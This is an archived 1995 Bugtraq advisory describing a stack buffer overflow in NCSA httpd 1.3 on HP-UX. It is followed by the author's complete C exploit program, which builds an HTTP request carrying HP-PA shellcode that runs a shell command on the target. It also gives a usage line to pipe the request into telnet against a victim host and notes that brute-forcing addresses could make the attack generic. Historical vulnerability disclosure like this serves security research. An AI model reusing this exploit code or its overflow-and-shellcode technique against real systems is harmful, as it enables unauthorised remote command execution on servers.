HACK: NCSA "httpd" 1.3 can be tricked into executing shell commands Version: 1.3 System: HP-UX 9.01, Unix? Source: Thomas Lopatic (lopatic@dbs.informatik.uni-muenchen.de) Bugtraq Date: Mon, 13 Feb 1995 CIAC: Number F-11, February 14, 1995 ************************************************************************** We've installed the NCSA HTTPD 1.3 on our WWW server (HP9000/720, HP-UX 9.01) and I've found, that it can be tricked into executing shell commands. Actually, this bug is similar to the bug in fingerd exploited by the internet worm. The HTTPD reads a maximum of 8192 characters when accepting a request from port 80. When parsing the URL part of the request a buffer with a size of 256 characters is used to prepend the document root (function strsubfirst(), called from translate_name()). Thus we are able to overwrite the data after the buffer. Since the stack grows towards higher addresses on the HP-PA, we are able to overwrite the return pointer which is used to return from the strcpy() call in strsubfirst(). The strcpy() overwrites its own return pointer. On systems with a stack growing the other direction, we'd have to overwrite the return pointer of strsubfirst(). I've implemented this attack for the precompiled HP-PA release provided by the NCSA. To adapt it to custom versions, you have to know the address of the buffer used by strsubfirst() and the offset of the return pointer. One might adapt the program to try 'probable' values, i. e. values within a certain range, if these parameters are not known. I've tried 'cc' and 'gcc' with and without optimization and the parameters didn't vary to much. A generic attack using brute force should therefore be possible. This is the program I've used to break into our WWW server. The assembly code could have been more compact, but I had to avoid 0x00 bytes. The program creates a file named 'GOTCHA' in the '/tmp' directory. Greetings and happy experimenting, -Thomas --- cut here --- /* hc.c */ /* This program demonstrates a vulnerability in the NCSA httpd 1.3 */ /* We make use of a buffer overflow in order to execute commands */ /* on a HP host running the precompiled daemon provided by the NCSA. */ /* The problem is that the array 'tmp' in the function 'strsubfirst()' */ /* has a length of MAX_STRING_LEN. However, the function can be passed */ /* arguments with up to HUGE_STRING_LEN characters. */ /* The output of this program can be pasted into a telnet session */ /* to port 80 of the host to be attacked. */ /* Alternatively simply use 'hc | telnet www.victim.com 80'. */ /* Written by Thomas Lopatic, lopatic@informatik.uni-muenchen.de */ #include #include /* Instead of defining these macros we could try all probable values */ /* in case the attacked host does not run the precompiled httpd. */ /* The address of 'char tmp[MAX_STRING_LEN]' in the precompiled httpd. */ #define TMPVAR 0x7b03df80 /* This is an offset from TMPVAR. The return pointer for the call to */ /* strcpy() is stored here (in the precompiled httpd). */ #define RPOFF 0x160 /* Byte order of the attacked HP is big endian. */ #define SHIFT1 24 #define SHIFT2 16 #define SHIFT3 8 #define SHIFT4 0 /* Output the lower nibble of i */ char d2a (i) int i; { i &= 0xf; return (i > 9) ? (i + 'A' - 10) : (i + '0'); } /* This is the short assembly language program which will be executed. */ char prog[] = { 0x34, 0x59, 0x01, 0x02, 0x34, 0x5a, 0x01, 0x32, 0x37, 0x5a, 0x3e, 0xf9, 0x6b, 0x3a, 0x3f, 0x01, 0x63, 0x40, 0x3f, 0xff, 0x34, 0x5a, 0x01, 0x38, 0x63, 0x40, 0x3f, 0x35, 0x37, 0x5a, 0x3e, 0xf9, 0x6b, 0x3a, 0x3f, 0x09, 0x63, 0x40, 0x3f, 0xff, 0x0b, 0x5a, 0x02, 0x9a, 0x6b, 0x3a, 0x3f, 0x11, 0x34, 0x5a, 0x01, 0x22, 0x37, 0x5a, 0x3e, 0xf9, 0x6f, 0x3a, 0x3e, 0xf9, 0x20, 0x20, 0x08, 0x01, 0x34, 0x16, 0x01, 0x1e, 0xe4, 0x20, 0xe0, 0x08, 0x36, 0xd6, 0x3e, 0xf9, 0x0b, 0x5a, 0x02, 0x9a, 0x20, 0x20, 0x08, 0x01, 0x34, 0x16, 0x01, 0x0a, 0xe4, 0x20, 0xe0, 0x08, 0x36, 0xd6, 0x3e, 0xf9, 0xe8, 0x5f, 0x1f, 0x35, 0x0b, 0x5a, 0x02, 0x9a, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00 }; int main () { char buffer[400]; int i; /* Copy program, append the arguments. The '$'s are replaced */ /* with 0x00s by the assembly language routine. */ strcpy (buffer, prog); strcat (buffer, "/bin/sh$"); strcat (buffer, "-c$"); /* Length of the argument must be exactly 30 characters. */ /* Otherwise the '$' will not be replaced correctly. */ /* strcat (buffer, "0123456789012345678901234567890123456789$"); */ strcat (buffer, "echo GOTCHA >/tmp/GOTCHA $"); /* Output the http request. */ printf ("GET "); /* Output the program. */ for (i = 0; i < strlen (buffer); i++) printf ("%%%c%c", d2a (buffer[i] >> 4), d2a (buffer[i])); /* Fill the buffer until we have reached the memory location */ /* which contains the return pointer for strcmp(). */ for (i = strlen (buffer); i < RPOFF; i++) printf ("X"); /* Output the entry point for our program. strcmp() will */ /* 'return' into our small assembly program. */ printf ("%%%c%c%%%c%c%%%c%c%%%c%c\n", d2a ((TMPVAR + 0x60) >> (SHIFT1 + 4)), d2a ((TMPVAR + 0x60) >> SHIFT1), d2a ((TMPVAR + 0x60) >> (SHIFT2 + 4)), d2a ((TMPVAR + 0x60) >> SHIFT2), d2a ((TMPVAR + 0x60) >> (SHIFT3 + 4)), d2a ((TMPVAR + 0x60) >> SHIFT3), d2a ((TMPVAR + 0x60) >> (SHIFT4 + 4)), d2a ((TMPVAR + 0x60) >> (SHIFT4 + 4)), d2a ((TMPVAR + 0x60) >> SHIFT4)); return 0; }